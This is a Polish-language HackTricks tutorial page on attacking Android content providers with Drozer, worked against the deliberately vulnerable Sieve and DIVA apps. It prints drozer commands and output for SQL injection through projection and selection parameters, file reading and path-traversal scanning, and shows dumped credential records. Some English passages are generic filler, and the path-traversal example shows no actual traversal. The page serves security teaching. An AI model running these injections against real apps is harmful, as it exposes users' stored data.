hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md
2024-02-11 01:46:25 +00:00

13 KiB

Wykorzystywanie dostawców treści

Wykorzystywanie dostawców treści

Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Wprowadzenie

Dane są dostarczane z jednej aplikacji do innych na żądanie za pomocą komponentu znanego jako dostawca treści. Te żądania są obsługiwane za pomocą metod klasy ContentResolver. Dostawcy treści mogą przechowywać swoje dane w różnych lokalizacjach, takich jak baza danych, pliki lub przez sieć.

W pliku Manifest.xml konieczne jest zadeklarowanie dostawcy treści. Na przykład:

<provider android:name=".DBContentProvider" android:exported="true" android:multiprocess="true" android:authorities="com.mwr.example.sieve.DBContentProvider">
<path-permission android:readPermission="com.mwr.example.sieve.READ_KEYS" android:writePermission="com.mwr.example.sieve.WRITE_KEYS" android:path="/Keys"/>
</provider>

Aby uzyskać dostęp do content://com.mwr.example.sieve.DBContentProvider/Keys, wymagane jest uprawnienie READ_KEYS. Ciekawym jest, że ścieżka /Keys/ jest dostępna w następującym fragmencie, który nie jest chroniony z powodu błędu programisty, który zabezpieczył /Keys, ale zadeklarował /Keys/.

Możliwe jest uzyskanie dostępu do prywatnych danych lub wykorzystanie podatności (wstrzyknięcie SQL lub przechodzenie po ścieżkach).

Uzyskaj informacje z publicznych dostawców treści

dz> run app.provider.info -a com.mwr.example.sieve
Package: com.mwr.example.sieve
Authority: com.mwr.example.sieve.DBContentProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.DBContentProvider
Multiprocess Allowed: True
Grant Uri Permissions: False
Path Permissions:
Path: /Keys
Type: PATTERN_LITERAL
Read Permission: com.mwr.example.sieve.READ_KEYS
Write Permission: com.mwr.example.sieve.WRITE_KEYS
Authority: com.mwr.example.sieve.FileBackupProvider
Read Permission: null
Write Permission: null
Content Provider: com.mwr.example.sieve.FileBackupProvider
Multiprocess Allowed: True
Grant Uri Permissions: False

Możliwe jest złożenie w całość sposobu dotarcia do DBContentProvider poprzez rozpoczęcie URI od "content://". Ten podejście opiera się na wskazówkach uzyskanych dzięki użyciu Drozera, gdzie kluczowe informacje zostały znalezione w katalogu /Keys.

Drozer może próbować zgadywać i testować kilka URI:

dz> run scanner.provider.finduris -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/
...
Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
Accessible content URIs:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

Należy również sprawdzić kod ContentProvidera, aby wyszukać zapytania:

Jeśli nie można znaleźć pełnych zapytań, można sprawdzić, jakie nazwy są deklarowane przez ContentProvider w metodzie onCreate:

Zapytanie będzie wyglądać tak: content://nazwa.pakietu.klasy/nazwa_zadeklarowana

Content Providery oparte na bazie danych

Prawdopodobnie większość Content Providerów jest używana jako interfejs dla bazy danych. Dlatego, jeśli uzyskasz do niej dostęp, będziesz w stanie wydobywać, aktualizować, wstawiać i usuwać informacje.
Sprawdź, czy można uzyskać dostęp do wrażliwych informacji lub spróbuj je zmienić, aby obejść mechanizmy autoryzacji.

Podczas sprawdzania kodu Content Providera, sprawdź również funkcje o nazwach: query, insert, update i delete:

Ponieważ będziesz w stanie je wywołać.

Zapytanie o zawartość

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical
_id: 1
service: Email
username: incognitoguy50
password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w==
-
email: incognitoguy50@gmail.com

Wstawianie treści

Przeszukując bazę danych dowiesz się nazw kolumn, a następnie będziesz mógł wstawić dane do bazy:

Zauważ, że podczas wstawiania i aktualizacji możesz użyć --string, aby wskazać ciąg znaków, --double, aby wskazać liczbę zmiennoprzecinkową, --float, --integer, --long, --short, --boolean.

Aktualizowanie treści

Znając nazwy kolumn, możesz również modyfikować wpisy:

Usuwanie treści

SQL Injection

Łatwo przetestować podatność na SQL Injection (SQLite), manipulując polami projekcji i selekcji, które są przekazywane do dostawcy treści.
Podczas przeszukiwania dostawcy treści istnieją 2 interesujące argumenty do wyszukiwania informacji: --selection i --projection:

Możesz spróbować wykorzystać te parametry do przetestowania podatności na SQL injection:

dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'"
unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords WHERE (')
dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "*
FROM SQLITE_MASTER WHERE type='table';--"
| type  | name             | tbl_name         | rootpage | sql              |
| table | android_metadata | android_metadata | 3        | CREATE TABLE ... |
| table | Passwords        | Passwords        | 4        | CREATE TABLE ... |

Automatyczne odkrywanie SQLInjection za pomocą Drozera

Drozer is a powerful security testing framework for Android applications. It provides a wide range of features to assist in the penetration testing of Android apps. One of its notable features is the ability to automatically discover SQL injection vulnerabilities in Android apps.

Drozer uses a technique called content provider injection to identify potential SQL injection points in an app. Content providers are components in Android apps that allow data to be shared between different apps. By injecting malicious SQL queries into content provider URIs, Drozer can determine if the app is vulnerable to SQL injection attacks.

To perform automatic SQL injection discovery with Drozer, follow these steps:

  1. Install Drozer on your testing machine.
  2. Connect your Android device to the testing machine using ADB.
  3. Launch Drozer and start a session with the target app using the drozer console connect command.
  4. Use the run app.provider.finduris command to identify the content provider URIs in the app.
  5. Use the run app.provider.query command to inject SQL queries into the content provider URIs and check for potential SQL injection vulnerabilities.
  6. Analyze the results and identify any vulnerable points in the app's content providers.

By automating the SQL injection discovery process, Drozer can save time and effort during the penetration testing of Android apps. However, it is important to note that this technique should only be used on apps that you have permission to test, as it can potentially cause data loss or other adverse effects if used maliciously.

dz> run scanner.provider.injection -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Injection in Projection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/
Injection in Selection:
content://com.mwr.example.sieve.DBContentProvider/Keys/
content://com.mwr.example.sieve.DBContentProvider/Passwords
content://com.mwr.example.sieve.DBContentProvider/Passwords/

dz> run scanner.provider.sqltables -a jakhar.aseem.diva
Scanning jakhar.aseem.diva...
Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/notes/:
android_metadata
notes
sqlite_sequence

Dostawcy treści oparte na systemie plików

Dostawcy treści mogą również być używani do dostępu do plików:

Odczytaj plik

Możesz odczytywać pliki z dostawcy treści

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Przechodzenie po ścieżce

Jeśli masz dostęp do plików, możesz spróbować wykorzystać przechodzenie po ścieżce (w tym przypadku nie jest to konieczne, ale możesz spróbować użyć "../" i podobnych sztuczek).

dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
127.0.0.1            localhost

Automatyczne odkrywanie Path Traversal za pomocą Drozera

Drozer is a powerful Android security testing framework that allows you to perform various security assessments on Android applications. One of the techniques it supports is the automatic discovery of Path Traversal vulnerabilities in Android applications.

Drozer uses a combination of static and dynamic analysis to identify potential Path Traversal vulnerabilities. It analyzes the application's code and behavior to determine if it is susceptible to this type of attack.

To use Drozer for automatic Path Traversal discovery, follow these steps:

  1. Install Drozer on your testing machine.
  2. Connect your Android device to the testing machine using ADB.
  3. Launch Drozer and start a session with the target application.
  4. Use the run app.provider.find command to search for content providers in the target application.
  5. Use the run app.provider.query command to query each content provider for potential Path Traversal vulnerabilities.
  6. Analyze the results and identify any potential vulnerabilities.

Drozer will automatically analyze the content providers in the target application and check if they are vulnerable to Path Traversal attacks. It will provide you with a detailed report of any potential vulnerabilities found.

By using Drozer's automatic Path Traversal discovery feature, you can quickly identify and assess the security of Android applications. This can help you uncover potential vulnerabilities and take appropriate measures to mitigate them.

dz> run scanner.provider.traversal -a com.mwr.example.sieve
Scanning com.mwr.example.sieve...
Vulnerable Providers:
content://com.mwr.example.sieve.FileBackupProvider/
content://com.mwr.example.sieve.FileBackupProvider

Odwołania

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: